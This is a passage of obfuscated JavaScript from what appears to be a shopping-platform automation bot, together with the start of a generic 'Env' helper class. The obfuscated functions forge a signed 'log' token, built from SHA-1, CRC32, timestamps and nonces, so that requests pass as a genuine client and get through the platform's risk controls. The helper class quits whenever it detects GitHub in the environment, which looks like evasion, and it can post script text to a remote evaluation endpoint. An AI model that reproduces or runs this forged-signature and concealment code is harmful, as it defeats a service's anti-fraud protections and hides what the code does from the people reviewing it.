_0x2a87ba=0x0;_0x2459f7['pyOOK'](_0x2a87ba,_0x34f5bd['toString']()[_0x5d0f('16','eb6n')]);_0x2a87ba++){if(_0x2459f7['HcLbO'](_0x2459f7[_0x5d0f('17','g#p(')],_0x2459f7[_0x5d0f('18','UhSj')])){pos=Math[_0x5d0f('19','LiYN')](_0x2459f7['jfrto'](Math['random'](),arr[_0x5d0f('1a','P[[8')]-0x1));str+=arr[pos];}else{_0x1c2210=_0x2a87ba;if(_0x2459f7['nclsN'](_0x1c2210,_0x261c7d[_0x5d0f('1b','mG2*')]))_0x1c2210-=_0x261c7d[_0x5d0f('1c','JUrC')];_0x47261f=_0x34f5bd['toString']()['charCodeAt'](_0x2a87ba)^_0x261c7d[_0x5d0f('1d','wRVw')](_0x1c2210);_0x7777bf[_0x5d0f('1e','^r[Y')](_0x2459f7[_0x5d0f('1f','K&6(')](_0x47261f,0xa));}}return _0x7777bf['toString']()[_0x5d0f('20','67kl')](/,/g,'');}function toAscii(_0x2c430c){var _0x4e8dd6={'dHiSG':function(_0x367444,_0x4d927b){return _0x367444(_0x4d927b);}};var _0xcfa266='';for(var _0x1ca3ab in _0x2c430c){var _0x50cc1f=_0x2c430c[_0x1ca3ab],_0x2be7f9=/[a-zA-Z]/['test'](_0x50cc1f);if(_0x2c430c['hasOwnProperty'](_0x1ca3ab))if(_0x2be7f9)_0xcfa266+=_0x4e8dd6[_0x5d0f('21','wRVw')](getLastAscii,_0x50cc1f);else _0xcfa266+=_0x50cc1f;}return _0xcfa266;}function add0(_0x11ba52,_0x595c1c){var _0x4dd66d={'nPaVH':function(_0x227628,_0x4fb675){return _0x227628+_0x4fb675;},'KYbAd':function(_0x1f585c,_0x599d8f){return _0x1f585c(_0x599d8f);}};return _0x4dd66d[_0x5d0f('22','Q1q0')](_0x4dd66d[_0x5d0f('23','Gw3R')](Array,_0x595c1c)[_0x5d0f('24','X5GX')]('0'),_0x11ba52)[_0x5d0f('25','h8!g')](-_0x595c1c);}function getLastAscii(_0x32faf4){var _0x2a68bb={'RlxdF':function(_0x431d5f,_0x4473b6){return _0x431d5f-_0x4473b6;}};var _0x16a5f1=_0x32faf4[_0x5d0f('26','Zru9')](0x0)['toString']();return _0x16a5f1[_0x2a68bb[_0x5d0f('27','g#p(')](_0x16a5f1[_0x5d0f('28','F]wS')],0x1)];}function wordsToBytes(_0x20a202){var _0x53ac2e={'NsvqU':function(_0x238c73,_0x5b11c5){return _0x238c73<_0x5b11c5;},'GltOo':function(_0x772c34,_0x206b3a){return _0x772c34>>>_0x206b3a;},'SeGte':function(_0x28bc2c,_0xcebd6){return _0x28bc2c-_0xcebd6;}};for(var _0x16976b=[],_0x2d7ece=0x0;_0x53ac2e[_0x5d0f('29','tZeG')](_0x2d7ece,0x20*_0x20a202[_0x5d0f('2a','Gw3R')]);_0x2d7ece+=0x8)_0x16976b['push'](_0x53ac2e['GltOo'](_0x20a202[_0x53ac2e[_0x5d0f('2b','s^4*')](_0x2d7ece,0x5)],_0x53ac2e[_0x5d0f('2c','O3*%')](0x18,_0x2d7ece%0x20))&0xff);return _0x16976b;}function bytesToHex(_0x479043){var _0x925eea={'EkFdf':function(_0x378287,_0xbe528){return _0x378287<_0xbe528;}};for(var _0x38b2e2=[],_0xf9d3e9=0x0;_0x925eea[_0x5d0f('2d','pIyP')](_0xf9d3e9,_0x479043['length']);_0xf9d3e9++)_0x38b2e2[_0x5d0f('1e','^r[Y')]((_0x479043[_0xf9d3e9]>>>0x4)['toString'](0x10)),_0x38b2e2[_0x5d0f('2e','YVDs')]((0xf&_0x479043[_0xf9d3e9])[_0x5d0f('2f','JUrC')](0x10));return _0x38b2e2['join']('');}function stringToBytes(_0xe40c0b){var _0x5e5101={'FtHAp':function(_0x4e135c,_0x21ec62){return _0x4e135c(_0x21ec62);},'WQWEq':function(_0x39776e,_0x5d04b7){return _0x39776e&_0x5d04b7;}};_0xe40c0b=_0x5e5101[_0x5d0f('30','&01^')](unescape,encodeURIComponent(_0xe40c0b));for(var _0x239a82=[],_0x258c76=0x0;_0x258c76<_0xe40c0b[_0x5d0f('31','JM[s')];_0x258c76++)_0x239a82['push'](_0x5e5101[_0x5d0f('32','^r[Y')](0xff,_0xe40c0b[_0x5d0f('33','uF8H')](_0x258c76)));return _0x239a82;}function bytesToWords(_0x3b1795){var _0xc519d={'OwMRS':function(_0x5a69d4,_0x124d80){return _0x5a69d4>>>_0x124d80;}};for(var _0x895b47=[],_0xc8c6eb=0x0,_0x2e6c75=0x0;_0xc8c6eb<_0x3b1795[_0x5d0f('34','Q1q0')];_0xc8c6eb++,_0x2e6c75+=0x8)_0x895b47[_0xc519d['OwMRS'](_0x2e6c75,0x5)]|=_0x3b1795[_0xc8c6eb]<<0x18-_0x2e6c75%0x20;return _0x895b47;}function crc32(_0xea794f){var _0x30732e={'zmtIM':function(_0x4259cd,_0x5e75d6){return _0x4259cd(_0x5e75d6);},'gCCPD':function(_0x31a006,_0x1c822e){return _0x31a006<_0x1c822e;},'jigRi':function(_0x48758b,_0x19e7d6){return _0x48758b>_0x19e7d6;},'bbpOW':function(_0x17b1c4,_0x352e6f){return _0x17b1c4|_0x352e6f;},'bgceJ':function(_0x3ef2b9,_0xa16f05){return _0x3ef2b9>>_0xa16f05;},'QSvit':function(_0x4092a7,_0x8c80b1){return _0x4092a7&_0x8c80b1;},'xcyDl':function(_0x37a27f,_0x25f617){return _0x37a27f!==_0x25f617;},'DrwJU':'YGvVW','nHpeq':function(_0x62be74,_0x73ca78){return _0x62be74<_0x73ca78;},'NFDsZ':function(_0x522734,_0x1173a7){return _0x522734+_0x1173a7;},'yhuyP':function(_0x37358b,_0x55d4bb){return _0x37358b^_0x55d4bb;},'ZoqMW':function(_0xea2fa5,_0x340be6){return _0xea2fa5-_0x340be6;},'fadaF':function(_0x48042d,_0x30b47f){return _0x48042d|_0x30b47f;},'zgdcv':function(_0x5b688b,_0x59aac4){return _0x5b688b<<_0x59aac4;},'jFxmT':function(_0x773039,_0x5bcf2e){return _0x773039>>>_0x5bcf2e;},'HccVF':function(_0x5799b4,_0x5d20c9){return _0x5799b4+_0x5d20c9;},'xDBRb':function(_0x2ffb64,_0x12131b){return _0x2ffb64>>>_0x12131b;},'AWAQK':function(_0x15fc97,_0x28a98a){return _0x15fc97|_0x28a98a;},'QSKJG':function(_0xa52fd6,_0x1a53f5){return _0xa52fd6+_0x1a53f5;},'OiHDK':function(_0xbad72e,_0x4d9656){return _0xbad72e<_0x4d9656;},'ZwiQk':function(_0xfcad03,_0x325625){return _0xfcad03-_0x325625;},'xnSZS':function(_0x571da9,_0x28c73e){return _0x571da9|_0x28c73e;},'ojdDa':function(_0xef2190,_0x3031fd){return _0xef2190&_0x3031fd;},'nOQYx':function(_0x4fcdcd,_0x2f5b45){return _0x4fcdcd^_0x2f5b45;},'TdBCs':function(_0x4631f6,_0x46e48f){return _0x4631f6^_0x46e48f;},'boVDs':function(_0x266493,_0x6e1164){return _0x266493!==_0x6e1164;},'FAuFk':_0x5d0f('35','%iLq'),'exIhF':_0x5d0f('36','79#U'),'uinyc':function(_0x2ff61f,_0x3463d4){return _0x2ff61f>>>_0x3463d4;},'XSbnN':function(_0x2b402a,_0x17d60f){return _0x2b402a>>>_0x17d60f;}};function _0x3f117a(_0x1320f0){_0x1320f0=_0x1320f0[_0x5d0f('37','V(n8')](/\r\n/g,'\x0a');var _0x13b99a='';for(var _0x513ec0=0x0;_0x30732e[_0x5d0f('38','s^4*')](_0x513ec0,_0x1320f0[_0x5d0f('11',']E&A')]);_0x513ec0++){var _0x205ba6=_0x1320f0['charCodeAt'](_0x513ec0);if(_0x30732e[_0x5d0f('39','nSkw')](_0x205ba6,0x80)){_0x13b99a+=String[_0x5d0f('3a','R#my')](_0x205ba6);}else if(_0x30732e['jigRi'](_0x205ba6,0x7f)&&_0x30732e['gCCPD'](_0x205ba6,0x800)){_0x13b99a+=String[_0x5d0f('3b','GbNz')](_0x30732e[_0x5d0f('3c','UhSj')](_0x30732e['bgceJ'](_0x205ba6,0x6),0xc0));_0x13b99a+=String['fromCharCode'](_0x30732e['bbpOW'](_0x30732e[_0x5d0f('3d','x7xC')](_0x205ba6,0x3f),0x80));}else{if(_0x30732e[_0x5d0f('3e','uF8H')](_0x30732e[_0x5d0f('3f','VkdQ')],_0x5d0f('40','Y!D2'))){var _0x443091='';for(var _0x9a89b1 in t){var _0x2829ed=t[_0x9a89b1],_0x6f3e50=/[a-zA-Z]/['test'](_0x2829ed);if(t[_0x5d0f('41','Gw3R')](_0x9a89b1))if(_0x6f3e50)_0x443091+=_0x30732e[_0x5d0f('42','LKK2')](getLastAscii,_0x2829ed);else _0x443091+=_0x2829ed;}return _0x443091;}else{_0x13b99a+=String[_0x5d0f('43','tZeG')](_0x30732e[_0x5d0f('44','JM[s')](_0x205ba6,0xc)|0xe0);_0x13b99a+=String[_0x5d0f('45','eb6n')](_0x30732e[_0x5d0f('46','s^4*')](_0x30732e['bgceJ'](_0x205ba6,0x6)&0x3f,0x80));_0x13b99a+=String[_0x5d0f('47','@w&B')](_0x30732e[_0x5d0f('48','CTFi')](_0x30732e[_0x5d0f('49','P[[8')](_0x205ba6,0x3f),0x80));}}}return _0x13b99a;};_0xea794f=_0x30732e['zmtIM'](_0x3f117a,_0xea794f);var _0x9d2f6e=[0x0,0x77073096,0xee0e612c,0x990951ba,0x76dc419,0x706af48f,0xe963a535,0x9e6495a3,0xedb8832,0x79dcb8a4,0xe0d5e91e,0x97d2d988,0x9b64c2b,0x7eb17cbd,0xe7b82d07,0x90bf1d91,0x1db71064,0x6ab020f2,0xf3b97148,0x84be41de,0x1adad47d,0x6ddde4eb,0xf4d4b551,0x83d385c7,0x136c9856,0x646ba8c0,0xfd62f97a,0x8a65c9ec,0x14015c4f,0x63066cd9,0xfa0f3d63,0x8d080df5,0x3b6e20c8,0x4c69105e,0xd56041e4,0xa2677172,0x3c03e4d1,0x4b04d447,0xd20d85fd,0xa50ab56b,0x35b5a8fa,0x42b2986c,0xdbbbc9d6,0xacbcf940,0x32d86ce3,0x45df5c75,0xdcd60dcf,0xabd13d59,0x26d930ac,0x51de003a,0xc8d75180,0xbfd06116,0x21b4f4b5,0x56b3c423,0xcfba9599,0xb8bda50f,0x2802b89e,0x5f058808,0xc60cd9b2,0xb10be924,0x2f6f7c87,0x58684c11,0xc1611dab,0xb6662d3d,0x76dc4190,0x1db7106,0x98d220bc,0xefd5102a,0x71b18589,0x6b6b51f,0x9fbfe4a5,0xe8b8d433,0x7807c9a2,0xf00f934,0x9609a88e,0xe10e9818,0x7f6a0dbb,0x86d3d2d,0x91646c97,0xe6635c01,0x6b6b51f4,0x1c6c6162,0x856530d8,0xf262004e,0x6c0695ed,0x1b01a57b,0x8208f4c1,0xf50fc457,0x65b0d9c6,0x12b7e950,0x8bbeb8ea,0xfcb9887c,0x62dd1ddf,0x15da2d49,0x8cd37cf3,0xfbd44c65,0x4db26158,0x3ab551ce,0xa3bc0074,0xd4bb30e2,0x4adfa541,0x3dd895d7,0xa4d1c46d,0xd3d6f4fb,0x4369e96a,0x346ed9fc,0xad678846,0xda60b8d0,0x44042d73,0x33031de5,0xaa0a4c5f,0xdd0d7cc9,0x5005713c,0x270241aa,0xbe0b1010,0xc90c2086,0x5768b525,0x206f85b3,0xb966d409,0xce61e49f,0x5edef90e,0x29d9c998,0xb0d09822,0xc7d7a8b4,0x59b33d17,0x2eb40d81,0xb7bd5c3b,0xc0ba6cad,0xedb88320,0x9abfb3b6,0x3b6e20c,0x74b1d29a,0xead54739,0x9dd277af,0x4db2615,0x73dc1683,0xe3630b12,0x94643b84,0xd6d6a3e,0x7a6a5aa8,0xe40ecf0b,0x9309ff9d,0xa00ae27,0x7d079eb1,0xf00f9344,0x8708a3d2,0x1e01f268,0x6906c2fe,0xf762575d,0x806567cb,0x196c3671,0x6e6b06e7,0xfed41b76,0x89d32be0,0x10da7a5a,0x67dd4acc,0xf9b9df6f,0x8ebeeff9,0x17b7be43,0x60b08ed5,0xd6d6a3e8,0xa1d1937e,0x38d8c2c4,0x4fdff252,0xd1bb67f1,0xa6bc5767,0x3fb506dd,0x48b2364b,0xd80d2bda,0xaf0a1b4c,0x36034af6,0x41047a60,0xdf60efc3,0xa867df55,0x316e8eef,0x4669be79,0xcb61b38c,0xbc66831a,0x256fd2a0,0x5268e236,0xcc0c7795,0xbb0b4703,0x220216b9,0x5505262f,0xc5ba3bbe,0xb2bd0b28,0x2bb45a92,0x5cb36a04,0xc2d7ffa7,0xb5d0cf31,0x2cd99e8b,0x5bdeae1d,0x9b64c2b0,0xec63f226,0x756aa39c,0x26d930a,0x9c0906a9,0xeb0e363f,0x72076785,0x5005713,0x95bf4a82,0xe2b87a14,0x7bb12bae,0xcb61b38,0x92d28e9b,0xe5d5be0d,0x7cdcefb7,0xbdbdf21,0x86d3d2d4,0xf1d4e242,0x68ddb3f8,0x1fda836e,0x81be16cd,0xf6b9265b,0x6fb077e1,0x18b74777,0x88085ae6,0xff0f6a70,0x66063bca,0x11010b5c,0x8f659eff,0xf862ae69,0x616bffd3,0x166ccf45,0xa00ae278,0xd70dd2ee,0x4e048354,0x3903b3c2,0xa7672661,0xd06016f7,0x4969474d,0x3e6e77db,0xaed16a4a,0xd9d65adc,0x40df0b66,0x37d83bf0,0xa9bcae53,0xdebb9ec5,0x47b2cf7f,0x30b5ffe9,0xbdbdf21c,0xcabac28a,0x53b39330,0x24b4a3a6,0xbad03605,0xcdd70693,0x54de5729,0x23d967bf,0xb3667a2e,0xc4614ab8,0x5d681b02,0x2a6f2b94,0xb40bbe37,0xc30c8ea1,0x5a05df1b,0x2d02ef8d];var _0x5841e3=0x0;var _0x4135e4=0x0;_0x4135e4=_0x30732e['TdBCs'](_0x4135e4,-0x1);for(var _0x1a9565=0x0,_0x256d01=_0xea794f['length'];_0x30732e[_0x5d0f('4a','&01^')](_0x1a9565,_0x256d01);_0x1a9565++){if(_0x30732e[_0x5d0f('4b','Y!D2')](_0x30732e[_0x5d0f('4c','z(N7')],_0x30732e[_0x5d0f('4d','VkdQ')])){_0x5841e3=_0xea794f[_0x5d0f('4e','mG2*')](_0x1a9565);_0x4135e4=_0x9d2f6e[_0x30732e[_0x5d0f('4f','67kl')](0xff,_0x4135e4^_0x5841e3)]^_0x30732e[_0x5d0f('50','BI(P')](_0x4135e4,0x8);}else{for(var _0x248230=s,_0x4b6bc8=u,_0xb6be9b=c,_0x5a2f3e=f,_0x10817c=h,_0x15a3b9=0x0;_0x30732e['nHpeq'](_0x15a3b9,0x50);_0x15a3b9++){if(_0x30732e[_0x5d0f('51','b^!y')](_0x15a3b9,0x10))a[_0x15a3b9]=e[_0x30732e[_0x5d0f('52','hg0S')](l,_0x15a3b9)];else{var _0x285a5a=_0x30732e[_0x5d0f('53','LKK2')](a[_0x30732e[_0x5d0f('54','JM[s')](_0x15a3b9,0x3)],a[_0x15a3b9-0x8])^a[_0x15a3b9-0xe]^a[_0x15a3b9-0x10];a[_0x15a3b9]=_0x30732e['fadaF'](_0x30732e['zgdcv'](_0x285a5a,0x1),_0x30732e[_0x5d0f('55','BI(P')](_0x285a5a,0x1f));}var _0x17a4dc=_0x30732e[_0x5d0f('56','hL8D')](_0x30732e[_0x5d0f('57','R#my')](_0x30732e[_0x5d0f('58','Q1q0')](s<<0x5,_0x30732e['xDBRb'](s,0x1b))+h,_0x30732e[_0x5d0f('59','hL8D')](a[_0x15a3b9],0x0)),_0x15a3b9<0x14?_0x30732e['HccVF'](0x5a827999,_0x30732e[_0x5d0f('5a','JUrC')](u&c,~u&f)):_0x30732e[_0x5d0f('5b','F]wS')](_0x15a3b9,0x28)?_0x30732e[_0x5d0f('5c','R#my')](0x6ed9eba1,u^c^f):_0x30732e[_0x5d0f('5d','hg0S')](_0x15a3b9,0x3c)?_0x30732e[_0x5d0f('5e','GbNz')](_0x30732e[_0x5d0f('5f','uKab')](_0x30732e[_0x5d0f('60','Q1q0')](u,c),_0x30732e[_0x5d0f('61','O3*%')](u,f))|_0x30732e[_0x5d0f('62','VkdQ')](c,f),0x70e44324):_0x30732e[_0x5d0f('63','uF8H')](_0x30732e[_0x5d0f('64','z(N7')](u,c),f)-0x359d3e2a);h=f,f=c,c=_0x30732e['zgdcv'](u,0x1e)|u>>>0x2,u=s,s=_0x17a4dc;}s+=_0x248230,u+=_0x4b6bc8,c+=_0xb6be9b,f+=_0x5a2f3e,h+=_0x10817c;}}return _0x30732e[_0x5d0f('65','67kl')](_0x30732e[_0x5d0f('66','K&6(')](-0x1,_0x4135e4),0x0);};function getBody(){var _0x5097fd={'UTUpN':function(_0x4e83cc,_0x392a2f){return _0x4e83cc+_0x392a2f;},'UNCnn':function(_0x26a8d8,_0xfb9110){return _0x26a8d8*_0xfb9110;},'wLMhf':function(_0x29b37e,_0x8c909d,_0x54adc9){return _0x29b37e(_0x8c909d,_0x54adc9);},'eotnJ':_0x5d0f('67','M&d@'),'Ltlls':function(_0x514a26,_0x492152){return _0x514a26(_0x492152);},'zAzmm':function(_0x31dd1c,_0x2c879c){return _0x31dd1c+_0x2c879c;},'GvHId':function(_0x10625a,_0x27acc9){return _0x10625a+_0x27acc9;},'ROeip':function(_0x14bd87,_0x4a0a42){return _0x14bd87(_0x4a0a42);},'xlciK':_0x5d0f('68','BwIe')};let _0x4edf03=Math[_0x5d0f('69','JUrC')](_0x5097fd[_0x5d0f('6a','[UVd')](0xf4240,_0x5097fd[_0x5d0f('6b','x7xC')](0x895440,Math['random']())))[_0x5d0f('6c','JM[s')]();let _0x463241=_0x5097fd[_0x5d0f('6d','VkdQ')](randomWord,![],0xa);let _0x1acd72=_0x5097fd['eotnJ'];let _0x186c30=Date[_0x5d0f('6e','Gw3R')]();let _0x2460d2=getKey(_0x186c30,_0x463241);let _0x3a4de6='random='+_0x4edf03+'&token='+_0x1acd72+_0x5d0f('6f','[UVd')+_0x186c30+'&nonce_str='+_0x463241+_0x5d0f('70','s^4*')+_0x2460d2+_0x5d0f('71','eb6n');let _0x35184c=_0x5097fd['Ltlls'](bytesToHex,wordsToBytes(_0x5097fd['Ltlls'](getSign,_0x3a4de6)))[_0x5d0f('72','c74f')]();let _0x46f771=_0x5097fd[_0x5d0f('73','BwIe')](crc32,_0x35184c)['toString'](0x24);_0x46f771=_0x5097fd[_0x5d0f('74','hL8D')](add0,_0x46f771,0x7);_0x35184c=_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd[_0x5d0f('75','wRVw')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('76','hL8D')](_0x5097fd['UTUpN'](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('77','BI(P')](_0x5097fd[_0x5d0f('78','VkdQ')](_0x5097fd['zAzmm'](_0x5097fd[_0x5d0f('79','[UVd')](_0x186c30['toString'](),'~1'),_0x463241),_0x1acd72)+'~4,1~',_0x35184c),'~'),_0x46f771),'~C~'),_0x35184c),'~'),_0x46f771);s=JSON['stringify']({'extraData':{'log':_0x5097fd['ROeip'](encodeURIComponent,_0x35184c),'sceneid':_0x5097fd[_0x5d0f('7a','UhSj')]},'secretp':secretp,'random':_0x4edf03[_0x5d0f('7b','Q1q0')]()});return s;}function getSign(_0x5c4631){var _0x5cbfa7={'fsqgu':function(_0x395529,_0x9b51f7){return _0x395529<_0x9b51f7;},'ILBZy':function(_0x3c5984,_0x164881){return _0x3c5984>>>_0x164881;},'qVQuW':function(_0x1131a2,_0x22d676){return _0x1131a2&_0x22d676;},'PzYxf':function(_0x221a16,_0x5aff58){return _0x221a16(_0x5aff58);},'CqEag':function(_0x29fe1d,_0xdaa166){return _0x29fe1d>>_0xdaa166;},'EyjhI':function(_0x4649e6,_0x10a863){return _0x4649e6<<_0x10a863;},'bpWct':function(_0x14779c,_0x21aa12){return _0x14779c-_0x21aa12;},'UzUgF':function(_0x56c5c8,_0x28a564){return _0x56c5c8%_0x28a564;},'Cwncg':function(_0x2ed9b5,_0x24dcca){return _0x2ed9b5+_0x24dcca;},'stmBC':function(_0x318f3e,_0x2299ad){return _0x318f3e<<_0x2299ad;},'cyrCS':_0x5d0f('7c',']E&A'),'dvcWT':function(_0x3e0dfe,_0x5be4e8){return _0x3e0dfe^_0x5be4e8;},'wtRUG':function(_0x4970fd,_0x53ad2a){return _0x4970fd^_0x53ad2a;},'KvGqO':function(_0x202d2e,_0x37a8bb){return _0x202d2e+_0x37a8bb;},'MgAbI':function(_0x5cf9fa,_0xff3512){return _0x5cf9fa|_0xff3512;},'mdUJR':function(_0x5e7edc,_0x59e7a6){return _0x5e7edc^_0x59e7a6;},'rahHa':function(_0x4cc57a,_0x150d0e){return _0x4cc57a|_0x150d0e;},'sTIDb':function(_0x4e546e,_0xf3fcf3){return _0x4e546e|_0xf3fcf3;},'xchFA':function(_0x406afa,_0x22dd82){return _0x406afa&_0x22dd82;},'PqjiU':function(_0x23b683,_0xab957b){return _0x23b683&_0xab957b;}};_0x5c4631=stringToBytes(_0x5c4631);var _0x280f0e=_0x5cbfa7['PzYxf'](bytesToWords,_0x5c4631),_0x50868f=0x8*_0x5c4631['length'],_0x14e96a=[],_0x9d2c54=0x67452301,_0x46e3b3=-0x10325477,_0x566d39=-0x67452302,_0x449b67=0x10325476,_0x9c56c=-0x3c2d1e10;_0x280f0e[_0x5cbfa7[_0x5d0f('7d','h8!g')](_0x50868f,0x5)]|=_0x5cbfa7[_0x5d0f('7e','hL8D')](0x80,_0x5cbfa7[_0x5d0f('7f','Gw3R')](0x18,_0x5cbfa7[_0x5d0f('80','O3*%')](_0x50868f,0x20))),_0x280f0e[_0x5cbfa7[_0x5d0f('81','uKab')](0xf,_0x5cbfa7[_0x5d0f('82','R#my')](_0x5cbfa7[_0x5d0f('83','&01^')](_0x50868f,0x40)>>>0x9,0x4))]=_0x50868f;for(var _0x8bcdb3=0x0;_0x8bcdb3<_0x280f0e['length'];_0x8bcdb3+=0x10){for(var _0x43baf2=_0x9d2c54,_0x4d1431=_0x46e3b3,_0x28709e=_0x566d39,_0x3c6a2f=_0x449b67,_0x26aa9c=_0x9c56c,_0x41cfc2=0x0;_0x41cfc2<0x50;_0x41cfc2++){if(_0x41cfc2<0x10)_0x14e96a[_0x41cfc2]=_0x280f0e[_0x5cbfa7[_0x5d0f('84','JUrC')](_0x8bcdb3,_0x41cfc2)];else{if(_0x5cbfa7['cyrCS']===_0x5cbfa7['cyrCS']){var _0x32561a=_0x5cbfa7['dvcWT'](_0x5cbfa7[_0x5d0f('85','M&d@')](_0x14e96a[_0x5cbfa7[_0x5d0f('86','z(N7')](_0x41cfc2,0x3)],_0x14e96a[_0x5cbfa7[_0x5d0f('87','nSkw')](_0x41cfc2,0x8)])^_0x14e96a[_0x5cbfa7['bpWct'](_0x41cfc2,0xe)],_0x14e96a[_0x5cbfa7[_0x5d0f('88',']E&A')](_0x41cfc2,0x10)]);_0x14e96a[_0x41cfc2]=_0x5cbfa7[_0x5d0f('89','uF8H')](_0x32561a,0x1)|_0x32561a>>>0x1f;}else{for(var _0xd7dc9a=[],_0x5d3cd2=0x0;_0x5cbfa7[_0x5d0f('8a','uF8H')](_0x5d3cd2,_0x5c4631[_0x5d0f('8b','s^4*')]);_0x5d3cd2++)_0xd7dc9a[_0x5d0f('8c','@w&B')](_0x5cbfa7[_0x5d0f('8d','hL8D')](_0x5c4631[_0x5d3cd2],0x4)[_0x5d0f('6c','JM[s')](0x10)),_0xd7dc9a[_0x5d0f('8e','BwIe')](_0x5cbfa7[_0x5d0f('8f','JM[s')](0xf,_0x5c4631[_0x5d3cd2])['toString'](0x10));return _0xd7dc9a[_0x5d0f('90','YVDs')]('');}}var _0x10fdaf=_0x5cbfa7[_0x5d0f('91','F]wS')](_0x5cbfa7[_0x5d0f('92','hg0S')](_0x5cbfa7['stmBC'](_0x9d2c54,0x5)|_0x9d2c54>>>0x1b,_0x9c56c)+_0x5cbfa7[_0x5d0f('93','JUrC')](_0x14e96a[_0x41cfc2],0x0),_0x5cbfa7[_0x5d0f('94','BI(P')](_0x41cfc2,0x14)?0x5a827999+_0x5cbfa7['MgAbI'](_0x46e3b3&_0x566d39,~_0x46e3b3&_0x449b67):_0x41cfc2<0x28?0x6ed9eba1+_0x5cbfa7['wtRUG'](_0x5cbfa7[_0x5d0f('95','CTFi')](_0x46e3b3,_0x566d39),_0x449b67):_0x5cbfa7[_0x5d0f('96','s^4*')](_0x41cfc2,0x3c)?_0x5cbfa7['rahHa'](_0x5cbfa7[_0x5d0f('97','^r[Y')](_0x5cbfa7[_0x5d0f('98','^r[Y')](_0x46e3b3,_0x566d39),_0x5cbfa7[_0x5d0f('99','uKab')](_0x46e3b3,_0x449b67)),_0x5cbfa7[_0x5d0f('9a','b^!y')](_0x566d39,_0x449b67))-0x70e44324:_0x5cbfa7[_0x5d0f('9b','JUrC')](_0x5cbfa7[_0x5d0f('9c','LiYN')](_0x46e3b3,_0x566d39)^_0x449b67,0x359d3e2a));_0x9c56c=_0x449b67,_0x449b67=_0x566d39,_0x566d39=_0x5cbfa7[_0x5d0f('9d','JUrC')](_0x46e3b3,0x1e)|_0x46e3b3>>>0x2,_0x46e3b3=_0x9d2c54,_0x9d2c54=_0x10fdaf;}_0x9d2c54+=_0x43baf2,_0x46e3b3+=_0x4d1431,_0x566d39+=_0x28709e,_0x449b67+=_0x3c6a2f,_0x9c56c+=_0x26aa9c;}return[_0x9d2c54,_0x46e3b3,_0x566d39,_0x449b67,_0x9c56c];};_0xodZ='jsjiami.com.v6'; + +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new 